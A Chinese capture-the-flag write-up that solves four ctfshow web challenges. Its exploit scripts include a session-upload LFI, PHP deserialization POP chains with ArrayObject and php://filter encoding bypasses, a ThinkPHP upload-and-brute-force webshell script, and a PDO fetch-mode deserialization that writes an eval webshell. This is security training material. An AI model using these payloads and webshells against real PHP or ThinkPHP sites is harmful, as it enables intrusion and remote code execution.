ctfshow元旦水友赛web方向

easy_include

 <?php

function waf($path){
    $path = str_replace(".","",$path);
    return preg_match("/^[a-z]+/",$path);
}

if(waf($_POST[1])){
    include "file://".$_POST[1];
}

包含session

import requests

url = "http://efcf9ddd-fc12-48dd-bb9f-b3a1ee1604aa.challenge.ctf.show/"

data = {
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[2]);?>',
    '1':'localhost/tmp/sess_fushuling',
    '2':'system("cat /f*");'
}
file = {
    'file': 'fushuling'
}
cookies = {
    'PHPSESSID': 'fushuling'
}

response = requests.post(url=url,data=data,files=file,cookies=cookies)

print(response.text)

easy_web

<?php
header('Content-Type:text/html;charset=utf-8');
error_reporting(0);


function waf1($Chu0){
    foreach ($Chu0 as $name => $value) {
        if(preg_match('/[a-z]/i', $value)){
            exit("waf1");
        }
    }
}

function waf2($Chu0){
    if(preg_match('/show/i', $Chu0))
        exit("waf2");
}

function waf_in_waf_php($a){
    $count = substr_count($a,'base64');
    echo "hinthinthint,base64喔"."<br>";
    if($count!=1){
        return True;
    }
    if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
        return True;
    }else{
        return false;
    }
}

class ctf{
    public $h1;
    public $h2;

    public function __wakeup(){
        throw new Exception("fastfast");
    }

    public function __destruct()
    {
        $this->h1->nonono($this->h2);
    }
}

class show{

    public function __call($name,$args){
        if(preg_match('/ctf/i',$args[0][0][2])){
            echo "gogogo";
        }
    }
}

class Chu0_write{
    public $chu0;
    public $chu1;
    public $cmd;
    public function __construct(){
        $this->chu0 = 'xiuxiuxiu';
    }

    public function __toString(){
        echo "__toString"."<br>";
        if ($this->chu0===$this->chu1){
            $content='ctfshowshowshowwww'.$_GET['chu0'];
            if (!waf_in_waf_php($_GET['name'])){
                file_put_contents($_GET['name'].".txt",$content);
            }else{
                echo "绕一下吧孩子";
            }
                $tmp = file_get_contents('ctfw.txt');
                echo $tmp."<br>";
                if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
                    eval($tmp($_GET['cmd']));
                }else{
                    echo "waf!";
                }

            file_put_contents("ctfw.txt","");
        }
        return "Go on";
        }
}


if (!$_GET['show_show.show']){
    echo "开胃小菜,就让我成为签到题叭";
    highlight_file(__FILE__);
}else{
    echo "WAF,启动!";
    waf1($_REQUEST);
    waf2($_SERVER['QUERY_STRING']);
    if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){
        unserialize($_GET['show_show.show']);
    }else{
        echo "被waf啦";
    }

}

拆开看,把waf啥的都先不看,关键是触发到Chu0_write的toString()

<?php
header('Content-Type:text/html;charset=utf-8');
error_reporting(0);

class ctf{
    public $h1;
    public $h2;

    public function __destruct()
    {
        $this->h1->nonono($this->h2);
    }
}

class show{

    public function __call($name,$args){
        if(preg_match('/ctf/i',$args[0][0][2])){
            echo "gogogo";
        }
    }
}

class Chu0_write{
    public function __toString(){
        echo "__toString"."<br>";
        }
}

unserialize($_GET['show_show.show']);

链子倒是不难

ctf::__destruct
↓↓↓
show::__call()
↓↓↓
Chu0_write::tostring

给ctf->$h1赋为show,这样触发call,然后$b=new Chu0_write(); $c=array(”,”,$b);$a->h2=array($c);实现对Chu0_write::tostring的触发

<?php
class ctf{
    public $h1;
    public $h2;

    public function __destruct()
    {
        $this->h1->nonono($this->h2);
    }
}

class show{

    public function __call($name,$args){
        if(preg_match('/ctf/i',$args[0][0][2])){
            echo "gogogo";
        }
    }
}

class Chu0_write{
    public function __toString(){
        echo "__toString"."<br>";
        }
}
$a=new ctf();
$b=new Chu0_write();
$c=array('','',$b);
$a->h1=new show();
$a->h2=array($c);
echo serialize($a);
#O:3:"ctf":2:{s:2:"h1";O:4:"show":0:{}s:2:"h2";a:1:{i:0;a:3:{i:0;s:0:"";i:1;s:0:"";i:2;O:10:"Chu0_write":0:{}}}}
?>

传的时候用show[show.show,php判断的时候会把第一个[转为_然后后面的就不修改了。

然后来看waf:

function waf1($Chu0){
    foreach ($Chu0 as $name => $value) {
        if(preg_match('/[a-z]/i', $value)){
            exit("waf1");
        }
    }
}
waf1($_REQUEST);

这个简单,后面判断是waf1($_REQUEST);,同时传post和get其实只会判断get,所以post随便传一个1过判断就行了。

function waf2($Chu0){
    if(preg_match('/show/i', $Chu0))
        exit("waf2");
}
waf2($_SERVER['QUERY_STRING']);

判断传参里的show,编一下码就行了show[show.show编码成%73%68%6f%77%5b%73%68%6f%77%2e%73%68%6f%77

if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){
        unserialize($_GET['show_show.show']);
    }

这个我博客讲过,用ArrayObject对正常的反序列化进行一次包装,让最后输出的payload以C开头,顺便还能绕一下ctf这个类里的wakeup

<?php
class ctf{
    public $h1;
    public $h2;

    public function __destruct()
    {
        $this->h1->nonono($this->h2);
    }
}

class show{

    public function __call($name,$args){
        if(preg_match('/ctf/i',$args[0][0][2])){
            echo "gogogo";
        }
    }
}

class Chu0_write{
    public function __toString(){
        echo "__toString"."<br>";
        }
}
$a=new ctf();
$b=new Chu0_write();
$c=array('','',$b);
$a->h1=new show();
$a->h2=array($c);
$arr=array("evil"=>$a);
$oa=new ArrayObject($arr);
echo serialize($oa);
?>
#C:11:"ArrayObject":143:{x:i:0;a:1:{s:4:"evil";O:3:"ctf":2:{s:2:"h1";O:4:"show":0:{}s:2:"h2";a:1:{i:0;a:3:{i:0;s:0:"";i:1;s:0:"";i:2;O:10:"Chu0_write":0:{}}}}};m:a:0:{}}}

测试代码:

<?php
header('Content-Type:text/html;charset=utf-8');
error_reporting(0);
// highlight_file(__FILE__);

function waf1($Chu0){
    foreach ($Chu0 as $name => $value) {
        if(preg_match('/[a-z]/i', $value)){
            exit("waf1");
        }
    }
}

function waf2($Chu0){
    if(preg_match('/show/i', $Chu0))
        exit("waf2");
} 

class ctf{
    public $h1;
    public $h2;

    public function __destruct()
    {
        $this->h1->nonono($this->h2);
    }
}

class show{

    public function __call($name,$args){
        if(preg_match('/ctf/i',$args[0][0][2])){
            echo "gogogo";
        }
    }
}

class Chu0_write{
    public function __toString(){
        echo "__toString"."<br>";
        }
}

    waf1($_REQUEST);
    waf2($_SERVER['QUERY_STRING']);
    if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){
        unserialize($_GET['show_show.show']);
    }else{
        echo "被waf啦";
    }

传的时候记得编码

GET:
%73%68%6f%77%5b%73%68%6f%77%2e%73%68%6f%77=%43%3a%31%31%3a%22%41%72%72%61%79%4f%62%6a%65%63%74%22%3a%31%34%33%3a%7b%78%3a%69%3a%30%3b%61%3a%31%3a%7b%73%3a%34%3a%22%65%76%69%6c%22%3b%4f%3a%33%3a%22%63%74%66%22%3a%32%3a%7b%73%3a%32%3a%22%68%31%22%3b%4f%3a%34%3a%22%73%68%6f%77%22%3a%30%3a%7b%7d%73%3a%32%3a%22%68%32%22%3b%61%3a%31%3a%7b%69%3a%30%3b%61%3a%33%3a%7b%69%3a%30%3b%73%3a%30%3a%22%22%3b%69%3a%31%3b%73%3a%30%3a%22%22%3b%69%3a%32%3b%4f%3a%31%30%3a%22%43%6
8%75%30%5f%77%72%69%74%65%22%3a%30%3a%7b%7d%7d%7d%7d%7d%3b%6d%3a%61%3a%30%3a%7b%7d%7d
POST:
show%5Bshow.show=1

看最后的一块,那个tostring了:

public function __construct(){
        $this->chu0 = 'xiuxiuxiu';
    }
function waf_in_waf_php($a){
    $count = substr_count($a,'base64');
    echo "hinthinthint,base64喔"."<br>";
    if($count!=1){
        return True;
    }
    if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
        return True;
    }else{
        return false;
    }
}
public function __toString(){
        echo "__toString"."<br>";
        if ($this->chu0===$this->chu1){
            $content='ctfshowshowshowwww'.$_GET['chu0'];
            if (!waf_in_waf_php($_GET['name'])){
                file_put_contents($_GET['name'].".txt",$content);
            }else{
                echo "绕一下吧孩子";
            }
                $tmp = file_get_contents('ctfw.txt');
                echo $tmp."<br>";
                if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
                    eval($tmp($_GET['cmd']));
                }else{
                    echo "waf!";
                }

            file_put_contents("ctfw.txt","");
        }
        return "Go on";
        } 

对$_get[‘cmd’]过滤了f、l、a、g、x、*、?、[、]、空格、单引号、尖括号以及百分号,我们可以用chr(ascii码)拼接出来了,比如:

show_source(chr(47).chr(102).chr(108).chr(97).chr(103))

因为过滤show了所以后面把show编码成%73%68%6f%77

def convert_to_ascii_special(text):
  ascii_special = ''
  for char in text:
   ascii_code = ord(char)
   ascii_special += 'chr({}).'.format(ascii_code)
  ascii_special = ascii_special[:-1]
  return ascii_special
text="/flag"
print(convert_to_ascii_special(text))
#chr(47).chr(102).chr(108).chr(97).chr(103)

引用绕过if引用赋值:

$chu1=&$chu0;

最后这个有点复杂:

function waf_in_waf_php($a){
    $count = substr_count($a,'base64');
    echo "hinthinthint,base64喔"."<br>";
    if($count!=1){
        return True;
    }
    if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
        return True;
    }else{
        return false;
    }
}            
            $content='ctfshowshowshowwww'.$_GET['chu0'];
            if (!waf_in_waf_php($_GET['name'])){
                file_put_contents($_GET['name'].".txt",$content);
            }else{
                echo "绕一下吧孩子";
            }
                $tmp = file_get_contents('ctfw.txt');
                echo $tmp."<br>";
                if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
                    eval($tmp($_GET['cmd']));
                }else{
                    echo "waf!";
                }

            file_put_contents("ctfw.txt","");

简单来说$_GET[‘name’]要出现一次base64这个字符串,但不能出现’ucs-2’、’phar’、’data’、’input’、’zip’、’flag’ 和 ‘%’。最后我们要把$_GET[‘name’]构造成ctfw,$tmp构造成show_source,$tmp = file_get_contents(‘ctfw.txt’),其实也就是写进去的$content,这里可以看到$content被干扰了,$content=’ctfshowshowshowwww’.$_GET[‘chu0’],我们可控的是这个$_GET[‘chu0’]。这里得用base64过滤垃圾字符(看陆队的文章我们其实也可以看到可以用base64构造指定字符)

<?php

#fushuling1234三次base64编码得到V201V2VtRklWbk5oVnpWdVRWUkplazVCUFQwPQ==
$d='lajizifuV201V2VtRklWbk5oVnpWdVRWUkplazVCUFQwPQ==';
echo $b=base64_decode($d);
echo "<br>".$b=base64_decode($b);
echo "<br>".base64_decode($b);#输出fushuling1234,过滤了lajizifu这几个垃圾字符

但这里base64限制了为一次,所以得用其他编码辅助构造

<?php
$b="lajizufu";
$payload=iconv('utf8','utf-16',base64_encode($b));
echo quoted_printable_encode($payload);#输出为空,成功过滤垃圾字符
?>
?name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw

然后对于传进去的$content,我们把它最后构造成assert,最后结合成eval(assert(show_source(chr(47).chr(102).chr(108).chr(97).chr(103))))打印出来flag

<?php
 
$b ='assert';
 
$payload = iconv('utf-8', 'utf-16', base64_encode($b));
file_put_contents('payload.txt', quoted_printable_encode($payload));                                                                               
$s = file_get_contents('payload.txt');
$s = preg_replace('/=\r\n/', '', $s);
echo $s;#输出是=FF=FEY=00X=00N=00z=00Z=00X=00J=000=00但只保留Y=00X=00N=00z=00Z=00X=00J=000=00

最后的payload

<?php
class ctf{
    public $h1;
    public $h2;

    public function __destruct()
    {
        $this->h1->nonono($this->h2);
    }
}

class show{

    public function __call($name,$args){
        if(preg_match('/ctf/i',$args[0][0][2])){
            echo "gogogo";
        }
    }
}


class Chu0_write{
    public $chu0;
    public $chu1;
    public $cmd;
    public function __construct(){
        $this->chu0 = 'xiuxiuxiu';
    }

    public function __toString(){

}}
$a=new ctf();
$b=new Chu0_write();
$b->chu1=&$b->chu0;
$c=array('','',$b);
$a->h1=new show();
$a->h2=array($c);
$arr=array("evil"=>$a);
$oa=new ArrayObject($arr);
echo serialize($oa);
?>
#C:11:"ArrayObject":198:{x:i:0;a:1:{s:4:"evil";O:3:"ctf":2:{s:2:"h1";O:4:"show":0:{}s:2:"h2";a:1:{i:0;a:3:{i:0;s:0:"";i:1;s:0:"";i:2;O:10:"Chu0_write":3:{s:4:"chu0";s:9:"xiuxiuxiu";s:4:"chu1";R:11;s:3:"cmd";N;}}}}};m:a:0:{}}
POST /?%73%68%6f%77%5b%73%68%6f%77%2e%73%68%6f%77=%43%3a%31%31%3a%22%41%72%72%61%79%4f%62%6a%65%63%74%22%3a%31%39%38%3a%7b%78%3a%69%3a%30%3b%61%3a%31%3a%7b%73%3a%34%3a%22%65%76%69%6c%22%3b%4f%3a%33%3a%22%63%74%66%22%3a%32%3a%7b%73%3a%32%3a%22%68%31%22%3b%4f%3a%34%3a%22%73%68%6f%77%22%3a%30%3a%7b%7d%73%3a%32%3a%22%68%32%22%3b%61%3a%31%3a%7b%69%3a%30%3b%61%3a%33%3a%7b%69%3a%30%3b%73%3a%30%3a%22%22%3b%69%3a%31%3b%73%3a%30%3a%22%22%3b%69%3a%32%3b%4f%3a%31%30%3a%22%43%68%75%30%5f%77%72%69%74%65%22%3a%33%3a%7b%73%3a%34%3a%22%63%68%75%30%22%3b%73%3a%39%3a%22%78%69%75%78%69%75%78%69%75%22%3b%73%3a%34%3a%22%63%68%75%31%22%3b%52%3a%31%31%3b%73%3a%33%3a%22%63%6d%64%22%3b%4e%3b%7d%7d%7d%7d%7d%3b%6d%3a%61%3a%30%3a%7b%7d%7d&name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw&chu0=Y=00X=00N=00z=00Z=00X=00J=000=00&cmd=%73%68%6f%77_source(chr(47).chr(102).chr(108).chr(97).chr(103)); HTTP/1.1
Host: dee22314-2b63-4670-a81e-c7b72ddd62b0.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Origin: http://dee22314-2b63-4670-a81e-c7b72ddd62b0.challenge.ctf.show
Connection: close
Referer: http://dee22314-2b63-4670-a81e-c7b72ddd62b0.challenge.ctf.show/
Upgrade-Insecure-Requests: 1

%73%68%6f%77%5b%73%68%6f%77%2e%73%68%6f%77=1&name=1&chu0=1&cmd=1

孤注一掷

访问www.zip拿到源码,一眼thinkphp,审MVC框架直接看/index/controller下的方法,看到一个上传功能

<?php


namespace app\index\controller;


use think\Controller;
use think\Request;

class Upload extends Controller
{
    public function image(Request $request)
    {
        $file = $request->file('file');
        if( ! $file ) {
            $this->error("error.");
        }
        $info = $file->move(ROOT_PATH . 'public' . DS . 'uploads');

        $filename = '/uploads/' . str_replace("\\", "/", $info->getSaveName());
        $this->success('', null, $filename);
    }
}

本地搭了个一样的环境,使用的thinkphp版本是ThinkPHP5.0,命令其实比较简单,就是

composer create-project topthink/think=5.0.* tp5  --prefer-dist

然后还要在extend\fast\目录下放一个Form.php,去这里复制一份https://gitee.com/karson/fastadmin/blob/master/extend/fast/Form.php

上传文件的路径是ROOT_PATH . 'public' . DS . 'uploads',filename保存为$info->getSaveName(),跟这个getSaveName()

protected function buildSaveName($savename)
    {
        // 自动生成文件名
        if (true === $savename) {
            if ($this->rule instanceof \Closure) {
                $savename = call_user_func_array($this->rule, [$this]);
            } else {
                switch ($this->rule) {
                    case 'date':
                        $savename = date('Ymd') . DS . md5(microtime(true));
                        break;
                    default:
                        if (in_array($this->rule, hash_algos())) {
                            $hash     = $this->hash($this->rule);
                            $savename = substr($hash, 0, 2) . DS . substr($hash, 2);
                        } elseif (is_callable($this->rule)) {
                            $savename = call_user_func($this->rule);
                        } else {
                            $savename = date('Ymd') . DS . md5(microtime(true));
                        }
                }
            }
        } elseif ('' === $savename || false === $savename) {
            $savename = $this->getInfo('name');
        }

        if (!strpos($savename, '.')) {
            $savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
        }

        return $savename;
    }

文件名就是date(‘Ymd’) . DS . md5(microtime(true)) . ‘.’ . pathinfo($this->getInfo(‘name’), PATHINFO_EXTENSION);

最后的保存路径大概就是url/20240121/md5(精确到小数点后四位的当前时间),文件后缀是pathinfo($this->getInfo(‘name’), PATHINFO_EXTENSION),也就是原上传文件的后缀,比如上传个1.php最后保存的文件就是md5(精确到小数点后四位的当前时间).php

所以关键就是上传文件,然后获取上传文件的时间,微秒我们不知道,但也就是9999位,直接爆破即可

import requests
from datetime import datetime
import subprocess
import pytz
import hashlib
# Author:ctfshow-h1xa

url ="http://33c133ae-9f99-4711-afbc-d5e7a3b7ef3e.challenge.ctf.show/"
scriptDate = ""
prefix = ""

session = requests.Session()
headers = {'User-Agent': 'Android'}

def init():
    route="?url="+url
    session.get(url=url+route,headers=headers)

def getPrefix():
    route="index/upload/image"
    file = {"file":("1.php",b"<?php echo 'ctfshow';eval($_POST[1]);?>")}
    response = session.post(url=url+route,files=file,headers=headers)
    response_date = response.headers['date']
    print("正在获取服务器时间:")
    print(response_date)
    date_time_obj = datetime.strptime(response_date, "%a, %d %b %Y %H:%M:%S %Z")
    date_time_obj = date_time_obj.replace(tzinfo=pytz.timezone('GMT'))
    date_time_obj_gmt8 = date_time_obj.astimezone(pytz.timezone('Asia/Shanghai'))
    print("正在转换服务器时间:")
    print(date_time_obj_gmt8)
    year = date_time_obj_gmt8.year
    month = date_time_obj_gmt8.month
    day = date_time_obj_gmt8.day
    hour = date_time_obj_gmt8.hour
    minute = date_time_obj_gmt8.minute
    second = date_time_obj_gmt8.second
    global scriptDate,prefix
    scriptDate = str(year)+str(month).zfill(2)+(str("0"+str(day)) if day<10 else str(day))
    print(scriptDate)
    seconds = int(date_time_obj_gmt8.timestamp())
    print("服务器时间:")
    print(seconds)
    code = f'''php -r "date_default_timezone_set('Asia/Shanghai');echo mktime({hour},{minute},{second},{month},{day},{year});"'''
    print("脚本时间:")
    result = subprocess.run(code,shell=True, capture_output=True, text=True)
    script_time=int(result.stdout)
    print(script_time)
    if seconds == script_time:
        print("时间碰撞成功,开始爆破毫秒")
        prefix =  seconds
    else:
        print("错误,服务器时间和脚本时间不一致")
        exit()
        
def remove_trailing_zero(num):
    if num % 1 == 0:
        return int(num)
    else:
        str_num = str(num)
        if str_num[-1] == '0':
            return str_num[:-1]
        else:
            return num

def checkUrl():
    h = open("url.txt","a")
    global scriptDate
    for i in range(0,10000):
        target = str(prefix)+"."+str(i).zfill(4)
        target=str(remove_trailing_zero(float(target)))
        # target=remove_trailing_zero(target)
        print(target)
        md5 =string_to_md5(target)
        # route = "/uploads/"+target+scriptDate+"/"+md5+".php"
        route = "/uploads/"+scriptDate+"/"+md5+".php"
        print("正在爆破"+url+route)
        response = session.get(url=url+route,headers=headers)
        if response.status_code == 200:
            print("成功getshell,地址为 "+url+route)
            exit()

        h.write(route+"\n")
    h.close()
    print("爆破结束")
    return

def string_to_md5(string):
    md5_val = hashlib.md5(string.encode('utf8')).hexdigest()
    return md5_val

if __name__ == "__main__":
    init()
    getPrefix()
    checkUrl()

这个题最后解这么少估计是因为题目描述太玄乎了,说什么thinkphp底层漏洞,thinkphp确实有底层漏洞,但不是这个,这个其实就是使用了tp默认的上传方法,底层漏洞是tp默认的img上传方法对后缀没有过滤:https://github.com/top-think/framework/issues/2772,也就是说类似于request()->file(‘image’)的语句其实还是可以上传任意文件,主要逻辑错误在move这里:

public function move($path, $savename = true, $replace = true)
    {
        // 文件上传失败,捕获错误代码
        if (!empty($this->info['error'])) {
            $this->error($this->info['error']);
            return false;
        }

        // 检测合法性
        if (!$this->isValid()) {
            $this->error = 'upload illegal files';
            return false;
        }

        // 验证上传
        if (!$this->check()) {
            return false;
        }

        $path = rtrim($path, DS) . DS;
        // 文件保存命名规则
        $saveName = $this->buildSaveName($savename);
        $filename = $path . $saveName;

        // 检测目录
        if (false === $this->checkPath(dirname($filename))) {
            return false;
        }

        // 不覆盖同名文件
        if (!$replace && is_file($filename)) {
            $this->error = ['has the same filename: {:filename}', ['filename' => $filename]];
            return false;
        }

        /* 移动文件 */
        if ($this->isTest) {
            rename($this->filename, $filename);
        } elseif (!move_uploaded_file($this->filename, $filename)) {
            $this->error = 'upload write error';
            return false;
        }

        // 返回 File 对象实例
        $file = new self($filename);
        $file->setSaveName($saveName)->setUploadInfo($this->info);

        return $file;
    }

然后进行check,注意前面直接调用了$this->check(),也就是没有传参$rule是空的,有用的检验其实只有checkImg():

public function check($rule = [])
    {
        $rule = $rule ?: $this->validate;

        /* 检查文件大小 */
        if (isset($rule['size']) && !$this->checkSize($rule['size'])) {
            $this->error = 'filesize not match';
            return false;
        }

        /* 检查文件 Mime 类型 */
        if (isset($rule['type']) && !$this->checkMime($rule['type'])) {
            $this->error = 'mimetype to upload is not allowed';
            return false;
        }

        /* 检查文件后缀 */
        if (isset($rule['ext']) && !$this->checkExt($rule['ext'])) {
            $this->error = 'extensions to upload is not allowed';
            return false;
        }

        /* 检查图像文件 */
        if (!$this->checkImg()) {
            $this->error = 'illegal image files';
            return false;
        }

        return true;
    }

最后checkImg:

public function checkImg()
    {
        $extension = strtolower(pathinfo($this->getInfo('name'), PATHINFO_EXTENSION));

        // 如果上传的不是图片,或者是图片而且后缀确实符合图片类型则返回 true
        return !in_array($extension, ['gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf']) || in_array($this->getImageType($this->filename), [1, 2, 3, 4, 6, 13]);
    }

可以看出来这里逻辑非常奇葩,check函数内对checkImg的调用是

 if (!$this->checkImg()) {
            $this->error = 'illegal image files';
            return false;
        }

也就是说我们想要合法得$this->checkImg()为true,checkImg()的逻辑官方注释已经说了:如果上传的不是图片,或者是图片而且后缀确实符合图片类型则返回 true,也就是说如果我们上传个1.php,因为后缀不是图片所以直接判断合法了,因此request()->file(‘image’)这样的语句是可以直接上传php文件的,最后保存的路径是uploads .DS . date(‘Ymd’) . DS . md5(microtime(true)) . ‘.’ . pathinfo($this->getInfo(‘name’), PATHINFO_EXTENSION),比如当前时间是2024-01-21的1705846016.4209,最后保存的文件就是url/uploads/20240121/6945de42b5e164a2fba3ec472be16cdd.php,注意最后的时间戳是去0的,比如1705846016.4,md5(1705846016.4)和md5(1705846016.4000)的值是不一样的

easy_login

预期解

关键getshell逻辑在common.php:

class userLogger{

    public $username;
    private $password;
    private $filename;

    public function __construct(){
        $this->filename = "log.txt_$this->username-$this->password";
        $data = "最后操作时间:".date("Y-m-d H:i:s")." 用户名 $this->username 密码 $this->password \n";
        $d = file_put_contents($this->filename,$data,FILE_APPEND);
    }
    public function setLogFileName($filename){
        $this->filename = $filename;
    }

    public function __wakeup(){
        $this->filename = "log.txt";
    }
    public function user_register($username,$password){
        $this->username = $username;
        $this->password = $password;
        $data = "操作时间:".date("Y-m-d H:i:s")."用户注册: 用户名 $username 密码 $password\n";
        file_put_contents($this->filename,$data,FILE_APPEND);
    }

    public function user_login($username,$password){
        $this->username = $username;
        $this->password = $password;
        $data = "操作时间:".date("Y-m-d H:i:s")."用户登陆: 用户名 $username 密码 $password\n";
        file_put_contents($this->filename,$data,FILE_APPEND);
    }

    public function user_logout(){
        $data = "操作时间:".date("Y-m-d H:i:s")."用户退出: 用户名 $this->username\n";
        file_put_contents($this->filename,$data,FILE_APPEND);
    }
}

漏洞点就在于这个file_put_contents($this->filename,$data,FILE_APPEND),如果我们可以控制$this->filename和$data,向一个php文件写入一句话木马就可以getshell了,我们看到userLogger::__construct:

  public function __construct(){
        $this->filename = "log.txt_$this->username-$this->password";
        $data = "最后操作时间:".date("Y-m-d H:i:s")." 用户名 $this->username 密码 $this->password \n";
        $d = file_put_contents($this->filename,$data,FILE_APPEND);
    }

这里文件名被保存为log.txt_$this->username-$this->password,$this->password是我们可控的,如果我们赋值为为<?php eval($_POST[1]);?>.php,那么我们就是向log.txt_$this->username-<?php eval($_POST[1]);?>.php这个php文件写入最后操作时间:".date("Y-m-d H:i:s")." 用户名 $this->username <?php=eval($_POST[1]);?>.php \n,很明显直接getshell了

但这里我们没有unserialize函数,只能考虑session反序列化:

public function getLoginName($name){
        $data = $this->cookie->getCookie($name);
        if($data === NULL && isset($_GET['token'])){
            session_decode($_GET['token']);
            $data = $_SESSION['user'];
        }
        return $data;
    }

session_decode($_GET[‘token’])向session存对象,$_SESSION[‘user’]取对象,这里需要构造token=user|序列化字符串,对getLoginName的调用在main.php:

<?php

$name =  $app->getLoginName('user');

if($name){
    echo "恭喜你登陆成功 <a href='/index.php?action=logout'>退出登陆</a>";
}else{
    include 'login.html';
}

想调用main.php又得看到index.php:

<?php

error_reporting(0);
session_start();
require_once 'common.php';

$action = $_GET['action'];
$app = new application();

if(isset($action)){

    switch ($action) {
        case 'do_login':
            $ret = $app->login($_POST['username'],$_POST['password']);
            if($ret){
                $app->cookie->setcookie("user",$_POST['username']);
                $app->dispatcher->redirect('main');
            }else{
                echo "登录失败";
            }
            break;
        case 'logout':
            $app->logout();
            $app->dispatcher->redirect('main');
            break;    
        case 'do_register':
            $ret = $app->register($_POST['username'],$_POST['password']);
            if($ret){
                $app->dispatcher->sendMessage("注册成功,请登陆");
            }else{
                echo "注册失败";
            }
            break;
        default:
            include './templates/main.php';
            break;
    }
}else{
    $app->dispatcher->redirect('main');
}

最前面session_start()启动了session,证明确实是session反序列化。三个switch选项这里只要前三个都不满足就是最后的default会包含main.php,现在逻辑清楚了,action分支进入default包含main.php,然后main.php触发$app->getLoginName(‘user’),在这里进行session反序列化,回看这里:

public function getLoginName($name){
        $data = $this->cookie->getCookie($name);
        if($data === NULL && isset($_GET['token'])){
            session_decode($_GET['token']);
            $data = $_SESSION['user'];
        }
        return $data;
    }

$data === NULL && isset($_GET[‘token’])的情况下进入分支,$_GET[‘token’]是我们直接传的,而$data来自于$this->cookie->getCookie($name):

class cookie_helper{
    private $secret = "*************"; //敏感信息打码

    public  function getCookie($name){
        return $this->verify($_COOKIE[$name]);

    }

    public function setCookie($name,$value){
        $data = $value."|".md5($this->secret.$value);
        setcookie($name,$data);
    }

    private function verify($cookie){
        $data = explode('|',$cookie);
        if (count($data) != 2) {
            return null;
        }
        return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;
    }
}

想要控制$data为null看到private function verify($cookie),只要count($data) != 2即可,首先$data = explode(‘|’,$cookie),也就是$data的值是$cookie被|分割的字符串数,再看cookie:$data = $value.”|”.md5($this->secret.$value),也就是之前已经有一个|了,我们给用户名里再多一个|比如fushu|ling最后俩|就可以把字符串分割成三个返回null了,当然事实上不用构造这种用户名也可以实现,因为return md5($this->secret.$data[0])=== $data[1]?$data[0]:null这里,只要secret.$data[0])!= $data[1]也可以返回null,比如用户名userLogger会生成cookie:user=userLogger|3628df06e1b4c52d9d2e0dfd251ba983,secret.$data[0]=userLogger,secret.$data[1]=3628df06e1b4c52d9d2e0dfd251ba983,两者显然是不相等的,所以这里其实是绝对成立的。

接下来其实是最关键的一部分,看到mysql_helper:

class mysql_helper{
    private $db;
    public $option = array(
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
    );

    public function __construct(){
        $this->init();
    }

    public function __wakeup(){
        $this->init();
    }


    private function init(){
        $this->db = array(
            'dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8',
            'host' => '127.0.0.1',
            'port' => '3306',
            'dbname' => '****', //敏感信息打码
            'username' => '****',//敏感信息打码
            'password' => '****',//敏感信息打码
            'charset' => 'utf8',
        );
    }

    public function get_pdo(){
        try{
            $pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);
        }catch(PDOException $e){
            die('数据库连接失败:' . $e->getMessage());
        }
    
        return $pdo;
    }

}

这里有个我们可控的$option,其实是可以指定pdo的链接过程,如果我们将ATTR_DEFAULT_FETCH_MODE指定为262152,就可以将结果的第一列做为类名, 然后新建一个实例,在初始化属性值时,sql的列名就对应者类的属性名,如果存在某个列名,但在该类中不存在这个属性名,在赋值时就会触发类的_set方法。属性初始化结束后,最后还会调用一次 __construct方法,这也是为什么官方解里注册的用户名必须是userLogger,因为这里其实是新建了一个userLogger类,然后调用其中的__construct(),也就是最开始提到的能RCE的部分:

 public function __construct(){
        $this->filename = "log.txt_$this->username-$this->password";
        $data = "最后操作时间:".date("Y-m-d H:i:s")." 用户名 $this->username 密码 $this->password \n";
        $d = file_put_contents($this->filename,$data,FILE_APPEND);
    }

要打的话分为两步,首先注册一个用户为userLogger,密码为<?=eval($_POST[1]);?>.php,即:

data={
        "username":"userLogger",
        "password":"<?=eval($_POST[1]);?>.php"
    }
response = requests.post(url=url+"index.php?action=do_register",data=data)

然后进行session反序列化,触发userLogger::__construct()

<?php
class cookie_helper{
    private $secret;
}

class mysql_helper{
    private $db;
    public $option = array(
        PDO::ATTR_DEFAULT_FETCH_MODE => 262152
    );

    public function __construct(){
        $this->init();
    }

    private function init(){
        $this->db = array(
        );
    }
}

class application{
    public $cookie;
    public $mysql;
    public $dispather;
    public $loger;
    public $debug=true;

    public function __construct(){
        $this->cookie = new cookie_helper();
        $this->mysql = new mysql_helper();
        $this->dispatcher = new dispatcher();
        $this->loger = new userLogger();
        $this->loger->setLogFileName("../log.txt");
    }
}

class userLogger{

    public $username;
    private $password;
    private $filename;

    public function setLogFileName($filename){
        $this->filename = $filename;
    }

}

class dispatcher{
}

$a=new application();
$b=new mysql_helper();
$a->mysql=$b;
echo urlencode(serialize($a));
